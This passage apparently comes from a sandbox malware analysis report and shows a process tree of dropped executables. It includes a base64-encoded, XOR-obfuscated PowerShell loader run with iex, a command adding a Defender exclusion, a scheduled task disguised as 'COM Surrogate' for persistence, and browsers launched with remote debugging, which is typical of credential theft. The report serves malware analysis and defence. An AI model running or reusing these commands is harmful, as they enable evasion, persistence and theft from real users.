zAFEAZwBEAEgASgAwAEwAZwB0AFgAUABXAE0ATwBKAGcATQA3AEoASABFAFMASQBqADAAeQBFAHoAOABZAE4AaAA4ADUASgBnAFEAMwBMAGgAVQB6AE8AVABzAGgAUQBqAGsAQQBIAEcANABXAEoAaABBAG0ATwBXAGMAagBLAEEATQBvAEgARgBzAGcAZQBSAFkAZgBIAHkATQBZAEcAUQB3ACsARAAzADQAZQBmAFQAbwB5AFUAaQBJAE8ARwB3AE0AbgBJAFcARgB4AGUAUgBBAG0AVwBqADAAbQBNAHcAdwBtAEQAbQBVAEcAZgBoAFkAYwBPAFMAcwBtAE4AeABzAGsASQBXADQASwBmAEIAQQBoAFcAegBRAEkATwBCAGQAbABKAG0ARgA5AE8AQQA0AGMATwBUAHMAZwBIAFQAVQByAEgAMQA5AHgAQgBnAE0AOQBBADIATQBKAE4AQQB3AGkARABIAFUAVwBlAHoAdwB0AEwAUwBVAGoARwBYAGcAVgBKAHcAVQBTAFAARAAwAG0AQgB6AGMATgBDAGoANAA2AEgAMgBGADEAZQBqADAAaQBJAFQAawBMAE4ASAAwADIASgBHAEUAZABMAGgASQBtAE8AUwBzAG0ATgB4AHMAawBJAFcANABLAGYAQgBVAE8ATwBUADgAaABRAGcATQBvAEoARwA0AEcAZQBUAGcAeQBVAGkAWQBKAEkAdwA5AG0ARABIAFUAVwBNAFQAMABpAFAAUwBZAG0ASwBBAE4AawBDAFYAMABXAEoAVABwAFgASgBTAG8AagBLAEEAOQBoAEoARwBGADkAUABCAEEAdABXAHoAUQBZAEoAegBVAHIASAAyAFUARwBmAGgAQQBtAEQAVABvAHQATwBRAHcALwBEAEgANQAwAGYAagA4ADIASwBUADgAZwBPAEEATQA5AEQASAA0ADMAZgBoAE0AdABPAFcATQBiAEoAeQBWAGoARABIAEoAMABMAGgATQB0AE8AVwBNAGIASgB5AFYAagBEAEgANAB6AEwAZwA5AFgAQQB6ADgAaABIAFIAZwBsAEUAUQBRAE8ATwBBAE0AeQBKAFcATQBMAE8ARAA0ADIARAAzAEIAOABMAGgAVQB5AFgAagA4AEwATQB4ADkAbABKAEcANABLAE0AQQBBAEkARAAyAE0ATABPAEgAMQBtAEkAMgBJAHcAYwBCAFoAWABCAHoANABMAE0AeQBvADYASgBtADQAVwBKAFQAcwBMAFAAUwBrAG4ASQB5AFkAMgBJAEUAdwAzAEkAagBzAHkASAB6ADAAZwBRAHkARQBwAEQASABKADAATABnADAASQBQAFcAQQBPAEoAZwBNADcASgBIAEUAUwBJAGoAMAB5AEUAegA4AFkATgBoADgANQBKAGcAUQB3AEMAdwBCAFcATwBTAE0AZwBRAG4AawAyAEMAVwBNAFMAZgBRAE0AeQBKAFcASQBtAE4AeABnADIARAB3AFkASgBmAHcARQBqAFAAUwBrAFkASwBBAGMAcgBIAFgATQBDAEkAagBzAHkAQgB5AFkAYQBOAFEAcwBtAEoAbgBNAFcASQBUADAAaQBMAFQAQQBXAE4AMwBRADcASABHAEUAOABLAGcAdwBpAEwAVABrAGoAUQBnAHMALwBIADIANABLAEsAZwAwAHkAQgB6AGsAaABIAFgAUQByAEoAdwBRAGUAZQBSAFUASgBBAHoAbwBnAFEAeQBVAEYASgBuAEUAUwBKAFEAQgBYAEEAdwBZAGcAUQBSADgAOQBJAEgANABXAEcAVAAwAEkAUABTAG8AZwBOAHcAdABrAEgAVQB3AG8AZQBnAE0AeQBIADIAWQBiAEcAZwBNADUAQwBuAEUATwBJAEQAMQBYAFAAVABBAFkATgB3AHQAaABIAFgAQQBzAEkARAB0AFcAQQB3AGMAaABOAHgAcwA5AEgAQQBRAHMASABEAHQAVQBPAFQAOABuAE8AQgA4AEIASQBWAHMAUwBNAEQAcwBpAEwAVwBZAE8ASABSAHQAbABIADIAVQBuAGYAaABZAGMATwBUAHcAaABRAGkARQA3AEkAWABVAEYAYwBCAEEAZwBYAGoAOABtAEMAWAB3AEYASABBAFEAcwBKAFEATQB0AFAAUwBBAFkASgB4ADgARQBIAEcANABLAE8AdwA4AHQASQBTAE0AWQBRAGkAawA5AEoAbAA4AEYAUABRAGcAOQBPAFIANABnAFEAaQBrAG4ASgAxAHcAMwBmAGgATQBpAEEAeQBrAGoASgB3AE4AaABDAFYAMABXAEoAVABzAGkATABXAFkATABOAEgAMAAyAEQAdwBjAEcASABCAFEAZgBLAFEAYwBJAEMAagA1AG0ARAAzAEUAVwBJAHoAdwB5AFgAaQBJAEwATgBIADAAMgBFAFYAcwBTAGUAaABVAHoASgBUAGsAagBOAHgAcwA2AEkAVwBFADgASgBRAE0AagBPAFQAcwBoAFEAagBrAEUASgBsAHMAbwBKAHcATgBYAFAAUwBvAEwATQAzAHcAVABJAFgAQQBLAGUAUQBBADkASQBXAE0AbQBLAEEAeABtAEMAawA4AFcASQBnAEIAVwBCAHkAWQBqAEcAWABnAFUASAAyAEUAOABJAFQAdwAyAEsAbQBvAEwATQB5AGsAQQBFADMASQBDAEIAeABNAGYARwBHAFEASQBOAHcAdABrAEgAMgBFAE8AZgBUAHcAOQBQAGoAUQBTAEkAdwA4AGUASAAyADQAbgBQAFEAeABYAEoAVAB3AFkASgB4ADkAZwBKADMARQBTAEkAZwA4AGkATABTAGsAagBRAFEAOABvAEoARwBGAHgASQB6AGcAOQBLAFQAcwBnAE0AdwB3AGwARQAyADQASwBKAFQAbwBPAEIAegBnAEwATQB4ADkAaABKAG0ARQBvAE0ARABnAGkATQBqAFEATwBKAFQAVQBuAEgAdwBSADkAUABBADgAdABCAHkAUQBZAEkAdwA4AGIASgAxAGcAVwBKAFQAbwBJAEwAVABrAG0ATgB5AEYAagBIADIAVQBGAFAAUQB3AEwAUABTAFkAVwBOAHgAdABqAEgAMgBFAHoATABnAG8AaQBCAHoAMABqAE4AeABzAHIASQBYAEkAMwBmAGgATQBpAEEAegBrAFkATgB5AEUAbABJAEgAVQBGAGMAQgBBAGcAWABqADgAbQBDAFgAdwBGAEgAQQBRAHMASgBRAE0AdABQAFMAQQBZAEoAeAA4AEUASABHADQASwBPAHcAeABYAFAAVwBNAG0ATgB5AEUAawBIAHcAVQBLAEgAUQBNADkATwBqAFEATwBKAFEAcwBpAEoAMwBGADkAZQBnAHgAVwBPAFQAcwBoAEgAaAA4AGIASAAxADEAOQBQAEEAZwBJAEwAVwBNAG0ATgB4AHMAbwBKAEcARQBTAE0AeABBAG0AVwBoAFkAZwBRAG4AaABoAEUAQQBVAFcAUAB6AG8AZwBCAHoANABRAFEAbgBRAGgASgAxAHMAZwBHAFQAcwBPAEkAVABzAG0ATwBCADgAOQBKAGwAcwBvAEoAVABvAGMASwBpAGMAWABRAHgAOAA1AEoAbABnAFcARQBUAGcAaQBQAFMAWQBUAEsAQgBjADUASgBHAEUAOABJAFEAQQBJAEUAegA4AEwATQAzAHcAWQBKAEcARQBXAEkAZwBNAHkAWAAyAFEATgBDAFIAOAArAEgAQQBRAFcATwBUAHMAOQBEAEMAWQBRAEsAQwBVADkASABBAFUAUwBlAFQAZwB5AFUAaQBZAFUATgB5AEUAbABIADIATQA4AE8AVABzAHkAQgAyAE0ATABOAEgAMAAyAEQAdwBjAEcASABCAFEAagBKAGoAMABOAEMAagA0ADYASgBIAEUASwBJAGoAZwB5AFcAbQBjAE8ARwB3AHMAaQBKADMARgA5AGUAZwBvAGkATABTAG8AWQBOAGgAOAA5AEoAbAB0ADEATwBUAHMASQBMAFcATQBZAEkAdwB4AG8ARABIAFUAVwBKAEEAQQB5AEUAeQBrAFkASgBEADUAbQBEADMARQBzAEkAdwBNAGkAQgB5AGMAbgBNADMAZwBDAEgAMgA0AEsAZQBRAEEAOQBJAFcATQBSAEoAMwBoAGgASAAyADQATwBlAHcAQQB5AEgARABRAFMASQB3AHcALwBFAEgAQQBWAE0AUgBjAHcAVwB6ADAATgBDAGoANAA2AEoASABFAEsASQBqAGcAeQBXAG0AYwBPAEgAQQBjADkASgBnAFUAVwBJAFQAbwBMAE8AUgBjAGcAUQB4AHMAawBJAFgAVQBGAGMAQgBBAGgATABpAFEATgBDAGoANAA2AEoASABFAEsASQBqAGcAeQBXAG0AYwBPAEcAdwBzAGkASgAzAEYAOQBlAGcAcwBpAFAAUwBjAGIASgAzAGcANgBFAEEAVQBXAEkAVABvAEwATwBqAFEAUwBJAHcAdwA2AEgAMQBzAEMATwBqAHAAWABQAG0AUQBOAEMAUgA4ACsASABBAFEAVwBPAFQAcwA5AEQAQwBZAFgAUQB4ADgANQBKAGwAZwBXAEUAVABnAGkAUABTAFkAVABLAEIAYwA1AEoARwBFADgASQBRAEEASQBFAHoAOABMAE4ASAAwADIARAAzADQAVwBNAEQAMAB5AFAAbQBRAE4AQwBSADgAKwBIAEEAUQBXAE8AVABzADkARABDAFkAVQBRAGcAcwBqAEgAMgBBAFcAUAB3AHcATABQAFMAWQBMAE4ASAAwADIARAAzADQAVwBNAEQAMAB5AFAAbQBRAE4AQwBSADgAbwBKAHcAVQBzAGUAegBzAGMASwBtAG8ATABNAHcAUQA2AEQAbgBVAFcATQBUADAAaQBQAFMAWQBtAEsAQQBOAGsAQwBWAG8AVwBJAFQAcABYAEgAeAB3AGIASgAzAHcAOQBEAGwATQBQAEwAagA0AG0ASQBtAFEATgBRAHgAOABvAEkARwBVAEcAZgBoAFkAYwBPAFQAawBnAEgAWABnAC8ASAAyAEUAdwBNAFIAQQBoAFcAegBRAFgASABSAHMALwBKAEcANABLAGUAUQBNADkASQBpAGMAWABRAGcATQArAEgAMgBFAFcAZQBEAHMAaQBQAFQAZwBVAE4AdwBzAHIASgBFADgARgBQAFEAZwB5AEoAVwBNAGoASgAzAFEAawBEAEgAVQBXAFAAVABoAFgARAB5AFUAbgBLAEEAZwAyAEMAVwBBAFcATQBEAGcAeQBEAHoAMABZAEsAQQBRADIARgBIAFUAagBJAGoAZwB0AEoAUwBNAGIAUQB4AHcAaQBEAEgAVQBXAEkAZwBCAFcAQgB5AFkAagBHAFMAWQAyAEMAVwBBAEcATQBEAGcAeQBYAGoAawBqAEsAQQA4ADUASgAzAFUARgBJAGcAQQA5AEIAegA4AGIASABpAFYAawBJAFcAVQBGAFAAUQB4AFgAUABXAE0AbQBOAHkARQBrAEgAdwBVAEoATABoAE0AaQBBAHoAawBZAE4AeQBFAGwASQBIAFUARgBQAFEAOABpAEwAUwBrAGoAUQBIAGcANQBKADIARQBSAEwAaABNAHQASQBTAFUAbgBPAEIAYwBuAEQASABWADEASABBAEEAOQBKAFMARQBYAE4AdwB0AGgASgBIAFUARgBJAGoAdwBpAEIAeQBrAGgASABRAGMALwBJAFgAVQBGAFAAUQBzAGkAUABTAGsAYgBRAHcAYwBoAEoAbgA0AFcATwBUAHQAWABYAHoAUQBJAE4AeABzAGwASQBRAFUAVwBJAEEAQQBjAEsAaQBjAFEASABYAFEAbwBIAEEAUQBSAGYAaABaAFgAQgB6ADQATABNAHkAbwA2AEgAQQBSAHgAUABBAE4AWABQAFMARQBoAEkAeQBZADIASQBFADgARwBKAFQAdwBpAEIAMgBNAEwATgBBAHcAMgBJADIAVQBHAEoAVABzAHQASgBUADgATABPAEQANAAyAEgAMgA0AHMATwBUADAAbQBLAGkAcwBMAE8ASAAxAG0ASQAyAFUARwBJAHcAQQA5AE8AVABrAGoATQB3ADkAbQBEAEgARQBTAGYAVABnADkATwBqAFEAUABJAHcAOQBvAEMAZwBWADAAZgBnAE0AOQBBAHkATQBtAE0AdwB3AHAAJwA7ACQAbQB1AGcAbAA9ACcARQA2AEQASQBZAGUAawBTAEIAcABNAFEAJwA7ACQAagBlAHUAdABoAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGYAbABuAGwAbgApADsAJABxAGcAdwB3AGQAZQA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABqAGUAdQB0AGgALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAagBlAHUAdABoAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAbQB1AGcAbABbACQAaQAlACQAbQB1AGcAbAAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABxAGcAdwB3AGQAZQApACkAfABpAGUAeAA=
        5⤵
        
        PID:5908
- - C:\Users\Admin\AppData\Local\Temp\10127950101\packed.exe
    "C:\Users\Admin\AppData\Local\Temp\10127950101\packed.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Enumerates system info in registry
    PID:5312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\runtime'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2816
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks.exe /create /tn "COM Surrogate Task" /tr "C:\Program Files\runtime\COM Surrogate.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5532
  - - C:\Program Files\runtime\COM Surrogate.exe
      "C:\Program Files\runtime\COM Surrogate.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      PID:6056
- - C:\Users\Admin\AppData\Local\Temp\10127960101\bncn6rv.exe
    "C:\Users\Admin\AppData\Local\Temp\10127960101\bncn6rv.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4136
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
      4⤵
      Uses browser remote debugging
      PID:8072
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe57d1cc40,0x7ffe57d1cc4c,0x7ffe57d1cc58
        5⤵
        
        PID:5484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      PID:3052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe49ae46f8,0x7ffe49ae4708,0x7ffe49ae4718
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
        5⤵
        
        PID:1628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
        5⤵
        
        PID:1620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2912 /prefetch:8
        5⤵
        
        PID:184
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5360
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2
        5⤵
        
        PID:4360
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2060 /prefetch:2
        5⤵
        
        PID:6568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2872 /prefetch:2
        5⤵
        
        PID:4904
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2536 /prefetch:2
        5⤵
        
        PID:4168
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2520 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5008 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:7784
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2500 /prefetch:2
        5⤵
        
        PID:4500
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4920 /prefetch:2
        5⤵
        
        PID:5836
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3420 /prefetch:2
        5⤵
        
        PID:6488
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17433454205489691849,18437145168559362672,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4064 /prefetch:2
        5⤵
        
        PID:7244
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 2444
      4⤵
      Program crash
      PID:3060
- - C:\Users\Admin\AppData\Local\Temp\10127970101\mAtJWNv.exe
    "C:\Users\Admin\AppData\Local\Temp\10127970101\mAtJWNv.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:8176
  - - C:\Users\Admin\AppData\Local\Temp\10127970101\mAtJWNv.exe
      "C:\Users\Admin\AppData\Local\Temp\10127970101\mAtJWNv.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:4320
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8176 -s 800
      4⤵
      Program crash
      PID:6324
- - C:\Users\Admin\AppData\Local\Temp\10127980101\HmngBpR.exe
    "C:\Users\Admin\AppData\Local\Temp\10127980101\HmngBpR.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5192
  - - C:\Users\Admin\AppData\Local\Temp\Dockerprotectysd\SplashWin.exe
      C:\Users\Admin\AppData\Local\Temp\Dockerprotectysd\SplashWin.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:7420
    - - C:\Users\Admin\AppData\Roaming\Dockerprotectysd\SplashWin.exe
        
        C:\Users\Admin\AppData\Roaming\Dockerprotectysd\SplashWin.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:4840
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5140
- - C:\Users\Admin\AppData\Local\Temp\10127990101\FvbuInU.exe
    "C:\Users\Admin\AppData\Local\Temp\10127990101\FvbuInU.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3252
- - C:\Users\Admin\AppData\Local\Temp\10128000101\ADFoyxP.exe
    "C:\Users\Admin\AppData\Local\Temp\10128000101\ADFoyxP.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c expand Go.pub Go.pub.bat & Go.pub.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:4820
    - - C:\Windows\SysWOW64\expand.exe
        
        expand Go.pub Go.pub.bat
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6928
